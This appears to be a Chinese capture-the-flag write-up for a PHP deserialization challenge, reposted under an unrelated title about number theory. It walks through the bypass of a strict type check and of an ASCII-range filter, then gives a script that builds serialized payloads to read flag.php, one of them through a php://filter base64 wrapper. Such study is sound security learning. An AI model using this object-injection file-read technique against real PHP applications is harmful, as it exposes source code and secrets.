數論學習筆記
阿新 • • 發佈:2020-11-25
對整個程式碼進行審計之後,其實很明顯的,在程式碼的最後一部分中傳入str引數後,對字串進行反序列化操作。
這裡需要注意的關鍵點是,if($this->op === "2") 對op的判斷用的是===,三個等號強型別比較。我們可以通過傳入一個數字2來繞過這個判斷。
//魔術方法 destruct() 在結束時銷燬物件呼叫 function __destruct() { //判斷op的值,如果op的值為2,就讓op值為1,並設定$content值為空串,呼叫process()if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
可以確定的是,我們這裡需要通過read()方法讀取flag.php,在檔案的開頭就有通過include(flag.php)包含到該檔案。因此呢,我們需要給$op傳入的值為2
read()方法就像對簡單了,只要求$filename不為空,就通過file_get_contents()方法去取檔案,也正是由此讀取flag.php。
publicfunction process() { //如果 op=1 就呼叫write()方法 //如果 op=2 就給$res賦值為read()方法執行結果,並呼叫輸出方法輸出$res //否則就輸出hacker if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); }else { $this->output("Bad Hacker!"); } } //自定義方法read() private function read() { //先設定$res為空字串 $res = ""; //判斷$filename是否為空,不為空就讀取檔案,將讀出來的字串存放在$res中 if(isset($this->filename)) { $res = file_get_contents($this->filename); } //返回$res return $res; }
看一下這個自定義方法,這部分通過代for迴圈對傳進來的引數的每一位進行判斷,要求其每一位的ascii值必須在32-125之間,為什麼會強調這裡呢?是因為這個FileHandler類中的變數全部都是protected的,在對其物件進行序列化時,protected許可權的屬性會在屬性名前加上%00*%00來表示這個許可權,而%00的ascii碼為0,就無法通過is_valid()方法的檢驗。
對於這種情況,有幾種繞過的方法,其中簡單的一種就是,php7.1+版本對屬性的型別不敏感,因此在本地序列化時,可以將其屬性改成public的就可以繞過。
//自定義方法 is_valid function is_valid($s) { //要求傳入的引數$s的每一位的ascii值必須在32-125之間,空格----} for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
最後呢,附上本地的序列化payload
這裡filename給了兩種不同的值,
其一,是直接傳入檔案的名字,通過read()方法,將檔案以字串形式讀取。
其二,因為file_get_contents()是支援php偽協議的,所以傳入filter的偽協議,將flag.php的原始碼以base64的形式讀取出來。
<?php class FileHandler { public $op; public $filename; public $content; function __construct($op,$filename,$content) { $this->op=$op; $this->filename=$filename; $this->content=$content; } } $a = new FileHandler(2,'flag.php',''); $b = new FileHandler(2,'php://filter/read=convert.base64-encode/resource=flag.php',''); echo serialize($a); echo "<br>"; echo serialize($b);